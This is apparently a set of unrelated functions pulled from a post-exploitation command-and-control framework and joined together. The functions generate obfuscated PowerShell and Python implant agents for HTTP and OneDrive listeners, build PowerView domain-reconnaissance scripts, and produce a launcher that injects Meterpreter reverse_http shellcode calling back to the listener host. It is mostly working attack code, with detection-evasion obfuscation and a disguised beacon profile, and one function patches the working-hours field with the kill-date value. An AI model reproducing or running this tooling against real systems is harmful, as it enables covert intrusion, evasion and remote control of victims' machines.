def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""): # read in the common powerview.ps1 module source code module_source = main_menu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" try: f = open(module_source, 'r') except: return handle_error_message( "[!] Could not read module source path at: " + str(module_source)) module_code = f.read() f.close() # get just the code needed for the specified function script = helpers.strip_powershell_comments(module_code) script += "\nGet-DomainOU " for option, values in params.items(): if option.lower() != "agent" and option.lower( ) != "guid" and option.lower() != "outputfunction": if values and values != '': if values.lower() == "true": # if we're just adding a switch script += " -" + str(option) else: script += " -" + str(option) + " " + str(values) script += "-GPLink " + str( params['GUID'] ) + " | %{ Get-DomainComputer -SearchBase $_.distinguishedname" for option, values in params.items(): if option.lower() != "agent" and option.lower( ) != "guid" and option.lower() != "outputfunction": if values and values != '': if values.lower() == "true": # if we're just adding a switch script += " -" + str(option) else: script += " -" + str(option) + " " + str(values) outputf = params.get("OutputFunction", "Out-String") script += f"}} | {outputf} | " + '%{$_ + \"`n\"};"`n' + str( module.name.split("/")[-1]) + ' completed!"' if obfuscate: script = helpers.obfuscate(main_menu.installPath, psScript=script, obfuscationCommand=obfuscation_command) script = data_util.keyword_obfuscation(script) return script
def generate_agent(self, listenerOptions, language=None, obfuscate=False, obfuscationCommand=""): """ Generate the full agent code needed for communications with this listener. """ if not language: print(helpers.color('[!] listeners/http_com generate_agent(): no language specified!')) return None language = language.lower() delay = listenerOptions['DefaultDelay']['Value'] jitter = listenerOptions['DefaultJitter']['Value'] profile = listenerOptions['DefaultProfile']['Value'] lostLimit = listenerOptions['DefaultLostLimit']['Value'] killDate = listenerOptions['KillDate']['Value'] b64DefaultResponse = base64.b64encode(self.default_response().encode('UTF-8')) if language == 'powershell': f = open(self.mainMenu.installPath + "/data/agent/agent.ps1") code = f.read() f.close() # Get the random function name generated at install and patch the stager with the proper function name code = data_util.keyword_obfuscation(code) # patch in the comms methods commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language) code = code.replace('REPLACE_COMMS', commsCode) # strip out comments and blank lines code = helpers.strip_powershell_comments(code) # patch in the delay, jitter, lost limit, and comms profile code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay)) code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter)) code = code.replace( '$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"") code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit)) # code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+b64DefaultResponse+'"') code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "' + str(b64DefaultResponse) + '"') # patch in the killDate and workingHours if they're specified if killDate != "": code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',") if obfuscate: code = data_util.obfuscate(self.mainMenu.installPath, code, obfuscationCommand=obfuscationCommand) return code else: print(helpers.color( "[!] listeners/http_com generate_agent(): invalid language specification, only 'powershell' is currently supported for this module."))
def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""): list_computers = params["IPs"] # read in the common powerview.ps1 module source code module_source = main_menu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" try: f = open(module_source, 'r') except: return handle_error_message( "[!] Could not read module source path at: " + str(module_source)) module_code = f.read() f.close() # get just the code needed for the specified function script = helpers.strip_powershell_comments(module_code) script += "\n" + """$Servers = Get-DomainComputer | ForEach-Object {try{Resolve-DNSName $_.dnshostname -Type A -errorAction SilentlyContinue}catch{Write-Warning 'Computer Offline or Not Responding'} } | Select-Object -ExpandProperty IPAddress -ErrorAction SilentlyContinue; $count = 0; $subarry =@(); foreach($i in $Servers){$IPByte = $i.Split("."); $subarry += $IPByte[0..2] -join"."} $final = $subarry | group; Write-Output{The following subnetworks were discovered:}; $final | ForEach-Object {Write-Output "$($_.Name).0/24 - $($_.Count) Hosts"}; """ if list_computers.lower() == "true": script += "$Servers;" for option, values in params.items(): if option.lower() != "agent" and option.lower( ) != "outputfunction": if values and values != '': if values.lower() == "true": # if we're just adding a switch script += " -" + str(option) else: script += " -" + str(option) + " " + str(values) outputf = params.get("OutputFunction", "Out-String") script += f" | {outputf} | " + '%{$_ + \"`n\"};"`n' + str( module.name.split("/")[-1]) + ' completed!"' if obfuscate: script = helpers.obfuscate(main_menu.installPath, psScript=script, obfuscationCommand=obfuscation_command) script = data_util.keyword_obfuscation(script) return script
def generate_agent(self, listener_options, client_id, client_secret, token, refresh_token, redirect_uri, language=None): """ Generate the agent code """ if not language: print(helpers.color("[!] listeners/onedrive generate_agent(): No language specified")) return language = language.lower() delay = listener_options['DefaultDelay']['Value'] jitter = listener_options['DefaultJitter']['Value'] profile = listener_options['DefaultProfile']['Value'] lost_limit = listener_options['DefaultLostLimit']['Value'] working_hours = listener_options['WorkingHours']['Value'] kill_date = listener_options['KillDate']['Value'] b64_default_response = base64.b64encode(self.default_response().encode('UTF-8')) if language == 'powershell': f = open(self.mainMenu.installPath + "/data/agent/agent.ps1") agent_code = f.read() f.close() agent_code = data_util.keyword_obfuscation(agent_code) comms_code = self.generate_comms(listener_options, client_id, client_secret, token, refresh_token, redirect_uri, language) agent_code = agent_code.replace("REPLACE_COMMS", comms_code) agent_code = helpers.strip_powershell_comments(agent_code) agent_code = agent_code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay)) agent_code = agent_code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter)) agent_code = agent_code.replace( '$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"") agent_code = agent_code.replace('$LostLimit = 60', "$LostLimit = " + str(lost_limit)) agent_code = agent_code.replace('$DefaultResponse = ""', '$DefaultResponse = "' + b64_default_response.decode('UTF-8') + '"') if kill_date != "": agent_code = agent_code.replace("$KillDate,", "$KillDate = '" + str(kill_date) + "',") return agent_code
def generate_agent(self, listenerOptions, language=None, obfuscate=False, obfuscationCommand="", version=''): """ If you want to support staging for the listener module, generate_agent must be implemented to return the actual staged agent code. """ if not language: print(helpers.color('[!] listeners/http generate_agent(): no language specified!')) return None language = language.lower() delay = listenerOptions['DefaultDelay']['Value'] jitter = listenerOptions['DefaultJitter']['Value'] profile = listenerOptions['DefaultProfile']['Value'] lostLimit = listenerOptions['DefaultLostLimit']['Value'] killDate = listenerOptions['KillDate']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] b64DefaultResponse = base64.b64encode(self.default_response()) if language == 'powershell': with open(self.mainMenu.installPath + "/data/agent/agent.ps1") as f: code = f.read() # Get the random function name generated at install and patch the stager with the proper function name code = data_util.keyword_obfuscation(code) # patch in the comms methods commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language) code = code.replace('REPLACE_COMMS', commsCode) # strip out comments and blank lines code = helpers.strip_powershell_comments(code) # patch in the delay, jitter, lost limit, and comms profile code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay)) code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter)) code = code.replace( '$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"") code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit)) code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "' + str(b64DefaultResponse) + '"') # patch in the killDate and workingHours if they're specified if killDate != "": code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',") if obfuscate: code = helpers.obfuscate(self.mainMenu.installPath, code, obfuscationCommand=obfuscationCommand) return code elif language == 'python': if version == 'ironpython': f = open(self.mainMenu.installPath + "/data/agent/ironpython_agent.py") else: f = open(self.mainMenu.installPath + "/data/agent/agent.py") code = f.read() f.close() # patch in the comms methods commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language) code = code.replace('REPLACE_COMMS', commsCode) # strip out comments and blank lines code = helpers.strip_python_comments(code) # patch in the delay, jitter, lost limit, and comms profile code = code.replace('delay = 60', 'delay = %s' % (delay)) code = code.replace('jitter = 0.0', 'jitter = %s' % (jitter)) code = code.replace( 'profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', 'profile = "%s"' % (profile)) code = code.replace('lostLimit = 60', 'lostLimit = %s' % (lostLimit)) code = code.replace('defaultResponse = base64.b64decode("")', 'defaultResponse = base64.b64decode("%s")' % (b64DefaultResponse)) # patch in the killDate and workingHours if they're specified if killDate != "": code = code.replace('killDate = ""', 'killDate = "%s"' % (killDate)) if workingHours != "": code = code.replace('workingHours = ""', 'workingHours = "%s"' % (killDate)) return code else: print(helpers.color( "[!] listeners/http generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."))
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None, bypasses: List[str] = None): """ Generate a basic launcher for the specified listener. """ bypasses = [] if bypasses is None else bypasses if not language or language.lower() != 'powershell': print( helpers.color( '[!] listeners/http generate_launcher(): only PowerShell is supported at this time' )) return None if listenerName and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[ listenerName]['options'] host = listenerOptions['Host']['Value'] moduleSourcePath = "%s/data/module_source/code_execution/Invoke-Shellcode.ps1" % ( self.mainMenu.installPath) try: f = open(moduleSourcePath, 'r') except: print( helpers.color( "[!] Could not read module source path at: %s" % (moduleSourcePath))) return '' script = f.read() f.close() msfPayload = 'windows/meterpreter/reverse_http' if 'https' in host: msfPayload += 's' if 'http' in host: parts = host.split(':') host = parts[1].strip('/') port = parts[2].strip('/') script = helpers.strip_powershell_comments(script) script += "\nInvoke-Shellcode -Payload %s -Lhost %s -Lport %s -Force" % ( msfPayload, host, port) if obfuscate: script = data_util.obfuscate( self.mainMenu.installPath, script, obfuscationCommand=obfuscationCommand) return script else: print( helpers.color( "[!] listeners/meterpreter generate_launcher(): invalid listener name specification!" ))